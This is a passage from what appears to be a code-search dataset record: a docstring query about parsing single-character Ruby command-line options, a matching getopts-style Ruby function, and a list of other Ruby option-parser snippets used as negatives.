"0.5938457",
"0.5937949",
"0.59333074",
"0.5922939",
"0.5917744",
"0.5917744",
"0.5917744",
"0.5917744",
"0.5917744",
"0.5917744",
"0.59158856",
"0.5911972",
"0.5910872",
"0.5906996",
"0.5905619",
"0.5904952",
"0.5892893",
"0.5873405",
"0.58705246",
"0.58644116",
"0.586378",
"0.58620137",
"0.58620137",
"0.58620137",
"0.58620137",
"0.58552533",
"0.5853604",
"0.58497846",
"0.5846906",
"0.58468294",
"0.5846649",
"0.5841023",
"0.5829026",
"0.5827831",
"0.582428",
"0.5815306",
"0.58112556",
"0.58072716",
"0.58033365",
"0.58033365",
"0.58024025",
"0.58000684",
"0.57909185",
"0.5780251",
"0.5776385",
"0.5775297",
"0.577435",
"0.5763132",
"0.5763127",
"0.5760518",
"0.5760518",
"0.5754003",
"0.57491666",
"0.57455987",
"0.57320035",
"0.5731503",
"0.5727335",
"0.5724977",
"0.57217056",
"0.57191217",
"0.57179797",
"0.5717278",
"0.5717133",
"0.5715808",
"0.57157433"
] |
0.0
|
-1
|
Parses the argument array _args_, according to the pattern _s_, to retrieve the single character command line options from it. If _s_ is 'xy:' an option 'x' without an option argument is searched, and an option 'y foo' with an option argument ('foo'). An option hash is returned with all found options set to true or the found option argument.
|
def go(s, args = ARGV)
b, v = s.scan(/(.)(:?)/).inject([{},{}]) { |t,(o,a)|
t[a.empty? ? 0 : 1][o] = a.empty? ? false : nil
t
}
while a = args.shift
a !~ /\A-(.+)/ and args.unshift a and break
p = $1
until p == ''
o = p.slice!(0, 1)
if v.key?(o)
v[o] = if p == '' then args.shift or break 1 else p end
break
elsif b.key?(o)
b[o] = true
else
args.unshift a
break 1
end
end and break
end
b.merge(v)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def go(s, args = ARGV)\n b,v = s.scan(/(.)(:?)/).inject([{},{}]) { |t,(o,a)|\n a = a == ':'\n t[a ? 1 : 0][o] = a ? nil : false\n t\n }\n while a = args.shift\n a !~ /\\A-(.+)/ and args.unshift a and break\n p = $1\n until p == ''\n o = p.slice!(0, 1)\n if v.key?(o)\n if p == '' then\n v[o] = args.shift or break 1\n else\n v[0] = p\n end\n break\n elsif b.key?(o)\n b[o] = true\n else\n args.unshift a\n break 1\n end\n end and break\n end\n b.merge(v)\n end",
"def extract_option!\n case args[0]\n when /\\A-[^-]./\n bump_key!(args[0].slice!(1))\n when /\\A-[^-]\\z/\n try_add_kv!(args[0][1])\n when /\\A--(.+?)=(.+)/\n add_key!(*Regexp.last_match.values_at(1, 2))\n args.shift\n when /\\A--./\n try_add_kv!(args[0][2..-1])\n when '--'\n args.shift\n self.options += args\n self.args = []\n else\n options << args.shift\n end\n end",
"def parse!( args )\n @args = args\n @options.grep!(args)\n end",
"def parse_args\n\t\t@args = @args_a.each_slice(2).to_a.inject({}) { |h, k| h[k[0]] = k[1]; h }\n\t\tkeys = @skeys + @lkeys\n\t\[email protected] do |k, v|\n\t\t\tif !keys.include?(k)\n\t\t\t\tputs \"Unknown option `#{k}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif keys.include?(v)\n\t\t\t\tputs \"Missing values for `#{k}' and `#{v}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif v != nil\n\t\t\t\tif v.start_with?('-')\n\t\t\t\t\tputs \"Warning: Value of `#{k}' appears to be a flag\"\n\t\t\t\tend\n\n\t\t\t\tif @static.has_key?(k)\n\t\t\t\t\tif !@static[k].include?(v)\n\t\t\t\t\t\tputs \"Unknown option `#{v}' for `#{k}'\"\n\t\t\t\t\t\texit\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tif remove_keys(@no_vals).has_blank?\n\t\t\tputs \"Missing argument(s)\"\n\t\t\texit\n\t\tend\t\t\t\n\tend",
"def match\n parse_options = true\n\n _loop_args do |arg|\n unless parse_options\n @argument_values.push arg\n next\n end\n\n # when \"argument\" is --, then stop parsing the rest of the arguments\n # and treat the rest as regular arguments\n if arg == '--'\n parse_options = false\n next\n end\n\n analyzed = _analyze arg\n\n if analyzed.nil?\n return nil\n end\n end\n\n remaining = _match_arguments\n _fill_defaults\n\n if @matched_options.size == @options.size\n @matched_options['remaining'] = remaining\n\n # make sure all aliases are also filled\n @options.each do |option|\n option.aliases.each do |alias_|\n @matched_options[alias_.name] = @matched_options[option.name]\n end\n end\n\n return @matched_options\n end\n\n nil\n end",
"def parse(args)\n arg_index = 0\n while arg_index < args.size\n arg = args[arg_index]\n\n if arg.start_with? '--'\n # Argument is a long option (eg: --verbose)\n op = arg[2,arg.length]\n value = nil\n\n # Check if the option and value are specified together (\"--op=value\")\n eql_index = op.index '='\n if !eql_index.nil?\n # Split \"op=value\" string and store\n value = op[eql_index+1, op.size]\n op = op[0, eql_index]\n end\n\n # Check if option is accepted\n raise \"Option '--#{op}' not accepted\" if !accepts? op\n\n # Remember that the option was specified\n data = @options[op]\n data.given = true\n\n # Check if given a value that wasn't expected\n if !data.has_value? && !eql_index.nil?\n raise \"Option '--#{op}' does not expect a value\"\n end\n \n # Get associated value\n if data.has_value?\n # If the option was not given as \"op=value\", get the next value.\n # Otherwise, save the value we stored before\n if eql_index.nil?\n # Get index of next value\n arg_index += 1\n # Make sure we actually have a value to save\n if arg_index >= args.size\n raise \"Option '--#{op}' must be followed by a value\"\n end\n # Then save the value\n data.value = args[arg_index]\n else\n data.value = value\n end\n end\n\n elsif arg.start_with? '-'\n # Argument is a short option (eg: -a, -abc)\n op = arg[1,arg.length]\n \n # Make sure each character is accepted\n op.chars.each_with_index do |c,i|\n # Check for errors\n raise \"Option '-#{c}' not accepted\" if !accepts? c\n\n # Remember that the option was specified\n data = @options[c]\n data.given = true\n\n # Check for and save the option's values\n if data.has_value?\n # Get index of next value\n arg_index += 1\n # Make sure we actually have a value to save\n if arg_index >= args.size || i >= op.size\n raise \"Option '-#{c}' must be followed by a value\"\n end\n # Then save the value\n data.value = args[arg_index]\n end\n end\n\n else\n # Argument is a param (ie. not an option)\n @params << arg\n end\n\n # Increment argument index\n arg_index += 1\n end\n end",
"def parse_options(args) # :nodoc:\n global_options,command,options,arguments = parse_options_helper(args.clone,Hash.new,nil,Hash.new,Array.new)\n flags.each { |name,flag| global_options[name] = flag.default_value if !global_options[name] }\n command.flags.each { |name,flag| options[name] = flag.default_value if !options[name] }\n return [global_options,command,options,arguments]\n end",
"def getOptions\n @options = Array.new\n # format of options argument\n optionsPattern = Regexp.new(/\\-[\\w]+/)\n # check to see if options are formatted correctly\n if optionsPattern.match(ARGV[0])\n # get each option and push them to an array \n # start at 1 to ignore - \n for i in 1..ARGV[0].length - 1\n @options.push(ARGV[0][i])\n end # -- end for loop to get options\n else\n abort(\"First argument needs to be an option.\\nExample:\\n\\t ruby OSQuery -i Blood_rune\")\n end # -- end valid options check\nend",
"def parse(args, flags={})\n @args = args\n # start with symbolized defaults\n hash = Hash[@defaults.map {|k,v| [k.to_sym, v] }]\n\n @leading_non_opts = []\n unless flags[:opts_before_args]\n @leading_non_opts << shift until current_is_option? || @args.empty? ||\n STOP_STRINGS.include?(peek)\n end\n\n while current_is_option?\n case @original_current_option = shift\n when SHORT_SQ_RE\n unshift $1.split('').map { |f| \"-#{f}\" }\n next\n when EQ_RE, SHORT_NUM\n unshift $2\n option = $1\n when LONG_RE, SHORT_RE\n option = $1\n end\n\n dashed_option = normalize_option(option)\n @current_option = undasherize(dashed_option)\n type = option_type(dashed_option)\n validate_option_value(type)\n value = create_option_value(type)\n # set on different line since current_option may change\n hash[@current_option.to_sym] = value\n end\n\n @trailing_non_opts = @args\n check_required! hash\n delete_invalid_opts if flags[:delete_invalid_opts]\n indifferent_hash.tap {|h| h.update hash }\n end",
"def parse(args)\n arg_list = arg_groups(args)\n options = DEFAULT_OPTIONS.dup\n options[:exclude] += default_excludes\n options[:locations] = arg_list.shift\n\n arg_list.reject(&:empty?).each do |set|\n flag, *args = set\n args.map! { |arg| arg.delete(\"/\") } # \"log/\" => \"log\"\n\n case flag\n when '-f', '--flags' then options[:flags] += args\n when '-e', '--exclude' then options[:exclude] += args\n else puts \"Unknown argument: #{flag}\"\n end\n end\n\n options\n end",
"def findopts\n [{ option: :atime,\n flag: '-atime',\n value: 'n[smhdw]',\n validate: validate_time,\n description: 'Access time.'\n },\n { option: :depth,\n flag: '-depth',\n value: 'n',\n validate: validate_number,\n description: 'Depth relative to the starting point.'\n },\n { option: :iname,\n flag: '-iname',\n value: '[pattern]',\n description: 'Path matches pattern (case insensitive).'\n },\n { option: :ipath,\n flag: '-ipath',\n value: '[pattern]',\n description: 'Path matches pattern (case insensitive).'\n },\n { option: :maxdepth,\n flag: '-maxdepth',\n value: 'n',\n validate: validate_nonnegative,\n description: 'Descend at most n directory levels.'\n },\n { option: :mindepth,\n flag: '-mindepth',\n value: 'n',\n validate: validate_nonnegative,\n description: 'Descend at least n directory levels.'\n },\n { option: :minsize,\n flag: '-minsize',\n value: 'n',\n validate: validate_unsigned_numeric,\n description: 'Prunes find expression to objects of a minimum size.'\n },\n { option: :mindsize,\n flag: '-mindirsize',\n value: 'n',\n validate: validate_unsigned_numeric,\n description: 'Prunes find expression to directories of a minimum size.'\n },\n { option: :mtime,\n flag: '-mtime',\n value: 'n[smhdw]',\n validate: validate_time,\n description: 'Modification time.'\n },\n { option: :name,\n flag: '-name',\n value: '[pattern]',\n description: 'Name (last component of the path) matches pattern.'\n },\n { option: :path,\n flag: '-path',\n value: '[pattern]',\n description: 'Path matches pattern.'\n },\n { option: :print,\n flag: '-print',\n description: 'Print the pathname.'\n },\n { option: :ls,\n flag: '-ls',\n description: 'Print ls-style information.'\n },\n { option: :size,\n flag: '-size',\n value: 'n[ckMGTP]',\n validate: validate_numeric,\n description: 'File size.'\n }\n ]\n end",
"def parse_options(args) # :nodoc:\n option_parser_class = self.class.const_get(\"#{options[:subcommand_option_handling_strategy].to_s.capitalize}CommandOptionParser\")\n OptionParsingResult.new.tap { |parsing_result|\n parsing_result.arguments = args\n parsing_result = @global_option_parser.parse!(parsing_result)\n option_parser_class.new(@accepts).parse!(parsing_result, options[:argument_handling_strategy], options[:autocomplete])\n }\n end",
"def parse_options(opts, args); end",
"def parse argv\n @bare.clear\n eoo = argv.index '--' # end of options\n if eoo\n tail = argv[eoo+1 .. ]\n argv = argv[ .. eoo-1]\n end\n re = /^-{1,2}(?=[^-])/\n for first,second in argv.chunk_while{ _1 =~ re and _2 !~ re }\n case first\n when /^--(?i:no)-(?=[^-])/\n # --no-long\n p = plong $~.post_match\n raise \"#{p.long} is not boolean\" unless p.boolean\n @buffer[p] = false\n @bare.push second if second\n when /^--(?=[^-])/\n # --long\n p = plong $~.post_match\n if p.boolean\n @buffer[p] = true\n @bare.push second if second\n else\n @buffer[p] = second\n end\n when /^-(?=[^-])(?!.*[0-9])/\n # -short\n letters = $~.post_match.chars\n b,o = letters.map{ pshort _1 }.partition &:boolean\n b.each{ @buffer[_1] = true }\n o.each{ @buffer[_1] = nil }\n if second\n if o.empty?\n @bare.push second\n else\n @buffer[o.pop] = second\n end\n end\n else\n # bare\n @bare.push first\n end\n end\n @bare.concat tail if tail\n end",
"def extract(_options_str = nil)\n @options_str = _options_str if _options_str # hook for testing\n @extract ||= begin\n lines_containing_options = options_str.split(/\\n/).grep(/^[\\s\\t]+-/)\n all_options = lines_containing_options.inject([]) do |list, line|\n list + line.scan(/(?:^\\s+|,\\s)(-[\\w-]+)/).flatten\n end\n long_options = all_options.grep(/^--/).sort\n short_options = hide_short_flags? ? [] : (all_options - long_options).sort\n long_options + short_options\n end\n end",
"def parse_flags(obj, opt, args)\n x = opt.sub(/^-/, '')\n #c = 0\n x.split(//).each do |k|\n #if obj.respond_to?(\"#{k}=\")\n obj.send(\"#{k}=\", true)\n #else\n # obj.option_missing(x, true)\n #end\n end\n end",
"def parse_args\n @args.extend OptionParser::Arguable\n opts = @args.getopts('cdDi:lm:n:o:s:St:uvVz')\n @nsocks = opts['s'] ? opts['s'].to_i : 1\n @max_idle = opts['i'] ? opts['i'].to_i : DEFAULT_MAX_IDLE\n @max_use = opts['m'] ? opts['m'].to_i : DEFAULT_MAX_USE\n $VERBOSE = true if opts['v']\n end",
"def parse_options(args)\n config = {}\n deprecated_args = []\n flag = /^--/\n\n args.size.times do\n break if args.empty?\n peek = args.first\n next unless peek && (peek.match(flag) || peek.match(/=/))\n arg = args.shift\n peek = args.first\n key = arg\n if key.match(/=/)\n deprecated_args << key unless key.match(flag)\n key, value = key.split('=', 2)\n elsif peek.nil? || peek.match(flag)\n value = true\n else\n value = args.shift\n end\n value = true if value == 'true'\n config[key.sub(flag, '')] = value\n\n if !deprecated_args.empty?\n out_string = deprecated_args.map{|a| \"--#{a}\"}.join(' ')\n display(\"Warning: non-unix style params have been deprecated, use #{out_string} instead\")\n end\n end\n\n config\n end",
"def parse_arguments\n options = {}\n parser = OptionParser.new do |opts|\n opts.on(\"-d\", \"--dir DIR\", \"absolute or relative path of the directory\") do |arg|\n options[:dir] = arg\n end\n\n opts.on(\"-p\", \"--pattern PATTERN\", \"search pattern - can contain asterisk(*) as wildcard\") do |arg|\n options[:pattern] = arg\n end\n end\n parser.parse!\n [options, parser]\nend",
"def getopts(*args)\n argv = Array === args.first ? args.shift : default_argv\n single_options, *long_options = *args\n\n result = {}\n\n single_options.scan(/(.)(:)?/) do |opt, val|\n if val\n result[opt] = nil\n define(\"-#{opt} VAL\")\n else\n result[opt] = false\n define(\"-#{opt}\")\n end\n end if single_options\n\n long_options.each do |arg|\n arg, desc = arg.split(';', 2)\n opt, val = arg.split(':', 2)\n if val\n result[opt] = val.empty? ? nil : val\n define(\"--#{opt}=#{result[opt] || \"VAL\"}\", *[desc].compact)\n else\n result[opt] = false\n define(\"--#{opt}\", *[desc].compact)\n end\n end\n\n parse_in_order(argv, result.method(:[]=))\n result\n end",
"def process_argv!\n args = ARGV.dup\n self.rest = []\n until args.empty? do\n arg = args.shift\n case\n when arg == '--'\n self.rest += args\n break\n when arg =~ /\\A--([\\w\\-\\.]+)(?:=(.*))?\\z/\n param, val = [$1, $2]\n param.gsub!(/\\-/, '.') # translate --scoped-flag to --scoped.flag\n param = param.to_sym unless (param =~ /\\./) # symbolize non-scoped keys\n if val == nil then val = true # --flag option on its own means 'set that option'\n elsif val == '' then val = nil end # --flag='' the explicit empty string means nil\n self[param] = val\n when arg =~ /\\A-(\\w+)\\z/\n $1.each_char do |flag|\n param = param_with_flag(flag)\n self[param] = true if param\n end\n else\n self.rest << arg\n end\n end\n end",
"def read_argv_flags argsIn\r\n skipVal = argsIn.length + 1\r\n argsIn.each_with_index do |argIn, ind|\r\n next if skipVal == ind\r\n arg = argIn.downcase()\r\n if arg[0].eql? '-'\r\n symAgr = strip_to_sym(arg)\r\n if @options[symAgr].is_a? String\r\n @options[symAgr] = argsIn[ind + 1]\r\n skipVal = ind + 1\r\n elsif @options[symAgr] == false\r\n @options[symAgr] = true\r\n elsif @options[symAgr].is_a? Array\r\n @options[symAgr] = argsIn[ind + 1]\r\n end\r\n elsif known_file_type arg\r\n @options[:f] << argIn.gsub(/(\\.\\/)|(\\.\\\\)/,'')\r\n end\r\n puts argIn\r\n end\r\n end",
"def parse_options(args)\n args.each do |arg|\n case arg\n when '-h', '--help' then @opts[:help] = true\n when '-un', '--user' then @opts[:user] = args.next(arg)\n when '-pw', '--pass' then @opts[:pass] = args.next(arg)\n when '-t', '--token' then @opts[:token] = args.next(arg)\n when '-g', '--get' then @opts[:get] = args.next(arg)\n when '-d', '--debug' then @opts[:debug] = true\n when '-r', '--random' then @opts[:get] = nil\n else next\n end\n end\n end",
"def parse(options, args)\n # Return empty hash if the parsing adventure would be fruitless.\n return {} if options.nil? || !options || args.nil? || !args.is_a?(Array)\n\n # Operate on a copy of the inputs\n args = args.dup\n\n # If we are passed an array, make the best of it by converting it\n # to a hash.\n options = options.inject({}) do |hash, value|\n value.is_a?(Array) ? hash.merge(value.first => value[1]) : hash\n end if options.is_a? Array\n\n # Define local hashes we're going to use. choices is where we store\n # the actual values we've pulled from the argument list.\n hashes, longs, required, validators, choices, arrayed = {}, {}, {}, {}, {}, {}\n hard_required = {}\n\n # We can define these on the fly because they are all so similar.\n params = %w[short cast filter action default valid]\n params.each { |param| hashes[\"#{param}s\"] = {} }\n\n # Inspect each option and move its info into our local hashes.\n options.each do |name, obj|\n name = name.to_sym\n\n # Only take hashes or hash-like duck objects.\n raise HashExpectedForOption unless obj.respond_to? :to_h\n obj = obj.to_h\n\n # Is this option required?\n hard_required[name] = true if obj['required']\n\n # Set the local hashes if the value exists on this option object.\n params.each { |param| hashes[\"#{param}s\"][name] = obj[param] if obj[param] }\n\n # If there is a validate statement, make it a regex or proc.\n validators[name] = make_validation(obj['validate']) if obj['validate']\n\n # Parse the long option. If it contains a =, figure out if the\n # argument is required or optional. Optional arguments are formed\n # like [=ARG], whereas required are just ARG (in --long=ARG style).\n if obj['long'] && obj['long'] =~ /(=|\\[| )/\n # Save the separator we used, as we're gonna need it, then split\n sep = $1\n option, *argument = obj['long'].split(sep)\n\n # The actual name of the long switch\n longs[name] = option\n\n # Preserve the original argument, as it may contain [ or =,\n # by joining with the character we split on. Add a [ in front if\n # we split on that.\n argument = (sep == '[' ? '[' : '') << Array(argument).join(sep)\n\n # Do we expect multiple arguments which get turned into an array?\n arrayed[name] = true if argument =~ /^\\[?=?\\*(.+)\\]?$/\n\n # Is this long required or optional?\n required[name] = true unless argument =~ /^\\[=?\\*?(.+)\\]$/\n elsif obj['long']\n # We can't have a long as a switch when valid is set -- die.\n raise ArgumentRequiredWithValid if obj['valid']\n\n # Set without any checking if it's just --long\n longs[name] = obj['long']\n end\n\n # If we were given a list of valid arguments with 'valid,' this option\n # is definitely required.\n required[name] = true if obj['valid']\n end\n\n rest = []\n\n # Go through the arguments and try to figure out whom they belong to\n # at this point.\n while arg = args.shift\n if hashes['shorts'].value?(arg)\n # Set the value to the next element in the args array since\n # this is a short.\n\n # If the next argument isn't a value, set this value to true\n if args.empty? || args.first.match(/^-/)\n value = true\n else\n value = args.shift\n end\n\n # Add this value to the choices hash with the key of the option's\n # name. If we expect an array, tack this argument on.\n name = hashes['shorts'].key(arg)\n if arrayed[name]\n choices[name] ||= []\n choices[name] << value unless value.nil?\n choices[name] += arrayize_arguments(args)\n else\n choices[name] = value\n end\n\n elsif (m = arg.match(/^(--[^=]+)=?/)) && longs.value?(m[1])\n # The joke here is we always accept both --long=VALUE and --long VALUE.\n\n # Grab values from --long=VALUE format\n name, value = arg.split('=', 2)\n name = longs.key(name)\n\n if value.nil? && args.first !~ /^-/\n # Grab value otherwise if not in --long=VALUE format. Assume --long VALUE.\n # Value is nil if we don't have a = and the next argument is no good\n value = args.shift\n end\n\n # If we expect an array, tack this argument on.\n if arrayed[name]\n # If this is arrayed and the value isn't nil, set it.\n choices[name] ||= []\n choices[name] << value unless value.nil?\n choices[name] += arrayize_arguments(args)\n else\n # If we set the value to nil, that means nothing was set and we\n # need to set the value to true. We'll find out later if that's\n # acceptable or not.\n choices[name] = value.nil? ? true : value\n end\n\n else\n # If we're here, we have no idea what the passed argument is. Die.\n if arg =~ /^-/\n raise UnknownOption\n else\n rest << arg\n end\n end\n end\n\n # Okay, we got all the choices. Now go through and run any filters or\n # whatever on them.\n choices.each do |name, value|\n # Check to make sure we have all the required arguments.\n raise ArgumentRequired if required[name] && value === true\n\n # Validate the argument if we need to, against a regexp or a block.\n if validators[name]\n if validators[name].is_a?(Regexp) && validators[name] =~ value\n elsif validators[name].is_a?(Proc) && validators[name].call(value)\n else raise ArgumentValidationFails\n end\n end\n\n # Make sure the argument is valid\n raise InvalidArgument unless Array(value).all? { |v| hashes['valids'][name].include?(v) } if hashes['valids'][name]\n\n # Cast the argument using the method defined in the constant hash.\n value = value.send(CAST_METHODS[hashes['casts'][name]]) if hashes['casts'].include?(name)\n\n # Run the value through a filter and re-set it with the return.\n value = hashes['filters'][name].call(value) if hashes['filters'].include?(name)\n\n # Run an action block if there is one associated.\n hashes['actions'][name].call(value) if hashes['actions'].include?(name)\n\n # Now that we've done all that, re-set the element of the choice hash\n # with the (potentially) new value.\n if arrayed[name] && choices[name].empty?\n choices[name] = true\n else\n choices[name] = value\n end\n end\n\n # Die if we're missing any required arguments\n hard_required.each do |name, value|\n raise ArgumentRequired unless choices[name]\n end\n\n # Home stretch. Go through all the defaults defined and if a choice\n # does not exist in our choices hash, set its value to the requested\n # default.\n hashes['defaults'].each do |name, value|\n choices[name] = value unless choices[name]\n end\n\n # Return the choices hash and the rest of the args\n [ choices, rest ]\n end",
"def process_argv!\n args = ARGV.dup\n self.rest = []\n @unknown_argvs = []\n until args.empty? do\n arg = args.shift\n case\n # end of options parsing\n when arg == '--'\n self.rest += args\n break\n # --param=val or --param\n when arg =~ /\\A--([\\w\\-\\.]+)(?:=(.*))?\\z/\n param, val = [$1, $2]\n warn \"Configliere uses _underscores not dashes for params\" if param.include?('-')\n @unknown_argvs << param.to_sym if (not has_definition?(param))\n self[param] = parse_value(val)\n # -abc\n when arg =~ /\\A-(\\w\\w+)\\z/\n $1.each_char do |flag|\n param = find_param_for_flag(flag)\n unless param then @unknown_argvs << flag ; next ; end\n self[param] = true\n end\n # -a val\n when arg =~ /\\A-(\\w)\\z/\n flag = find_param_for_flag($1)\n unless flag then @unknown_argvs << flag ; next ; end\n if (not args.empty?) && (args.first !~ /\\A-/)\n val = args.shift\n else\n val = nil\n end\n self[flag] = parse_value(val)\n # -a=val\n when arg =~ /\\A-(\\w)=(.*)\\z/\n flag, val = [find_param_for_flag($1), $2]\n unless flag then @unknown_argvs << flag ; next ; end\n self[flag] = parse_value(val)\n else\n self.rest << arg\n end\n end\n @unknown_argvs.uniq!\n end",
"def parse_options(args) # :nodoc:\n args_clone = args.clone\n global_options = {}\n command = nil\n command_options = {}\n remaining_args = nil\n\n global_options,command_name,args = parse_global_options(OptionParserFactory.new(@flags,@switches,@accepts), args)\n @flags.each do |name,flag|\n global_options[name] = flag.default_value unless global_options[name]\n end\n\n command_name ||= @default_command || :help\n command = find_command(command_name)\n if Array(command).empty?\n raise UnknownCommand.new(\"Unknown command '#{command_name}'\")\n elsif command.kind_of? Array\n raise UnknownCommand.new(\"Ambiguous command '#{command_name}'. It matches #{command.sort.join(',')}\")\n end\n\n command_options,args = parse_command_options(OptionParserFactory.new(command.flags,command.switches,@accepts),\n command,\n args)\n\n command.flags.each do |name,flag|\n command_options[name] = flag.default_value unless command_options[name]\n end\n command.switches.each do |name,switch|\n command_options[name] = switch.default_value unless command_options[name]\n end\n\n [global_options,command,command_options,args]\n end",
"def test_parse02c\n options = ArgumentManager.parse( [ '--s-opt=foo' ] )\n assert_equal( 'foo', options[ 's-opt' ] )\n end",
"def parse_options(args)\n @options = OpenStruct.new\n @options.emacs = !args.delete('--emacs').nil?\n @options.wrap = !args.delete('--wrap').nil?\n @options.inner = !args.delete('--inner').nil?\n @options.jruby = !args.delete('--jruby').nil?\n @options.nojruby = !args.delete('--nojruby').nil?\n @options.action = args[0] || nil\n @options.path = args[1] || File.basename(Dir.pwd + '.rb')\n @options.args = args[2..-1] || []\n end",
"def thor_options_to_optparse\n flags = []\n %i[color progress debug interactive].each do |option|\n if options[option] then flags << \"--#{option}\"\n else flags << \"--no-#{option}\"\n end\n end\n flags\n end",
"def parse_options_helper(args,global_options,command,command_options,arguments) # :nodoc:\n non_flag_i = find_non_flag_index(args)\n all_flags = false\n if non_flag_i == 0\n # no flags\n if !command\n command_name = args.shift\n command = find_command(command_name)\n raise UnknownCommand.new(\"Unknown command '#{command_name}'\") if !command\n return parse_options_helper(args,\n global_options,\n command,\n Hash.new,\n arguments)\n elsif((index = flag_switch_index(args)) >= 0)\n try_me = args[0..index-1]\n rest = args[index..args.length]\n new_args = rest + try_me\n return parse_options_helper(new_args,\n global_options,\n command,\n Hash.new,\n arguments)\n else\n return global_options,command,command_options,arguments + args\n end\n elsif non_flag_i == -1\n all_flags = true\n end\n\n try_me = args[0..non_flag_i]\n rest = args[(non_flag_i+1)..args.length]\n if all_flags\n try_me = args\n rest = []\n end\n\n # Suck up whatever options we can\n switch_hash = switches\n flag_hash = flags\n options = global_options\n if command\n switch_hash = command.switches\n flag_hash = command.flags\n options = command_options\n end\n\n switch_hash.each do |name,switch|\n value = switch.get_value!(try_me)\n options[name] = value if !options[name]\n end\n\n flag_hash.each do |name,flag|\n value = flag.get_value!(try_me)\n # So, there's a case where the first time we request the value for a flag,\n # we get the default and not the user-provided value. The next time we request\n # it, we want to override it with the real value.\n # HOWEVER, sometimes this happens in reverse, so we want to err on taking the\n # user-provided, non-default value where possible.\n if value\n if options[name]\n options[name] = value if options[name] == flag.default_value\n else\n options[name] = value\n end\n end\n end\n\n if try_me.empty?\n return [global_options,command,command_options,arguments] if rest.empty?\n # If we have no more options we've parsed them all\n # and rest may have more\n return parse_options_helper(rest,global_options,command,command_options,arguments)\n else\n if command\n check = rest\n check = rest + try_me if all_flags\n check.each() do |arg|\n if arg =~ /^\\-\\-$/\n try_me.delete arg\n break\n end\n raise UnknownCommandArgument.new(\"Unknown option #{arg}\",command) if arg =~ /^\\-/\n end\n return [global_options,command,command_options,try_me + rest]\n else\n # Now we have our command name\n command_name = try_me.shift\n raise UnknownGlobalArgument.new(\"Unknown option #{command_name}\") if command_name =~ /^\\-/\n\n command = find_command(command_name)\n raise UnknownCommand.new(\"Unknown command '#{command_name}'\") if !command\n\n return parse_options_helper(rest,\n global_options,\n command,\n Hash.new,\n arguments)\n end\n end\n end",
"def split_args(s)\n s.chomp.scan(/(?<=\")[^\"]*(?=\")|[^\\s]+/)\n end",
"def parse(args, opts = {})\n return [args, opts] if args.empty?\n return [args, opts] unless self.class.flag?(args.first)\n\n res, flag, value = self.check_flag(args.first)\n # puts \"\\n\\nDEBUG: #{res} #{flag} #{value}\"\n\n return [args, opts] if res == :separator\n raise(\"flag expected for #{res}\") unless flag # sanity check\n\n # TODO: we should know by now whether it's a long or short flag\n sym = @index[:long][flag] || @index[:short][flag]\n raise \"unrecognized flag: #{flag}\" unless sym\n args.shift\n\n case res\n when :flag_has_val\n raise(\"value expected\") unless value\n opts[sym] = value\n when :flag_need_val\n opts[sym] = self.class.pop_value(args)\n when :flag_no_val\n opts[sym] = true\n when :flag_no_val_more\n opts[sym] = true\n raise(\"more expected for #{flag} parsed as #{res}\") unless value\n # look for smashed flags\n self.parse_smashed(value).each { |smflag, smval|\n # the last smashed flag may need a val from args\n opts[smflag] = smval || self.class.pop_value(args)\n }\n else\n raise \"unknown result: #{res}\"\n end\n self.parse(args, opts)\n end",
"def get_options(options_string)\n opts = Slop.new :autocreate => true\n opts.parse options_string\n\n opts.to_hash.delete_if { |k,v| v.nil? }\n end",
"def parseopts(cmd, options)\n if options != false\n options.each do |k, v|\n if k != :arg && k != :list_entries\n if v.is_a? Array\n v.each do |vv|\n cmd << \" --#{k}='#{vv}'\"\n end\n else\n cmd << \" --#{k}='#{v}'\"\n end\n end\n end\n\n options[:arg].each { |opt| cmd << \" --#{opt}\" } if options.has_key?(:arg)\n options[:list_entries].each { |e| cmd << \" \\\"#{e}\\\"\" } if options.has_key?(:list_entries)\n end\n cmd\n end",
"def parse(args)\n begin \n opt_parser.parse!(args)\n rescue ::OptionParser::InvalidOption => e\n puts help\n exit(1)\n end\n options\n end",
"def parse(obj, argv)\n case argv\n when String\n require 'shellwords'\n argv = Shellwords.shellwords(argv)\n else\n argv = argv.dup\n end\n\n argv = argv.dup\n args, opts, i = [], {}, 0\n while argv.size > 0\n case opt = argv.shift\n when /=/\n parse_equal(obj, opt, argv)\n when /^--/\n parse_option(obj, opt, argv)\n when /^-/\n parse_flags(obj, opt, argv)\n else\n args << opt\n end\n end\n return args\n end",
"def test_multi_stringflag_as_strings\n opts = @p.parse %w(--xyz dog --xyz cat)\n assert_equal true, opts[:xyz_given]\n assert_equal [\"dog\",\"cat\"], opts[:xyz]\n assert_equal [], opts[:abc] # note, multi-args default to empty array\n assert_nil opts[:ghi_given]\n assert_equal [\"gg\",\"hh\"], opts[:ghi]\n end",
"def normalize_args(string, options_hash); end",
"def parse_opts\n option_parser.parse(@argv)\n end",
"def parseArgs\n forceDefaultMode=false\n opts = GetoptLong.new(\n [\"-h\", \"--help\", GetoptLong::NO_ARGUMENT],\n [\"-f\", \"--file\", GetoptLong::REQUIRED_ARGUMENT],\n [\"--st\", \"--statements\", GetoptLong::REQUIRED_ARGUMENT],\n [\"-s\", \"--size\", GetoptLong::REQUIRED_ARGUMENT],\n [\"-d\", \"--default\", GetoptLong::NO_ARGUMENT],\n [\"-o\", \"--outer-control\", GetoptLong::NO_ARGUMENT],\n [\"-p\", \"--package\", GetoptLong::REQUIRED_ARGUMENT],\n [\"-n\", \"--main-class-name\", GetoptLong::REQUIRED_ARGUMENT])\n opts.each do |opt, arg|\n case opt\n when \"-f\"\n parseConfFile(arg)\n when \"-s\"\n @max_size = arg.to_i()\n when \"--st\"\n @max_stmts = arg.to_i()\n when \"-d\"\n forceDefaultMode = true\n when \"-o\"\n @outer_control = true\n when \"-p\"\n @package = arg.to_s\n when \"-n\"\n @mainClassName = arg.to_s\n end\n end\n if ARGV.length > 0\n error(\"Invalid arguments\")\n end\n @mode = 'default' if forceDefaultMode\n end",
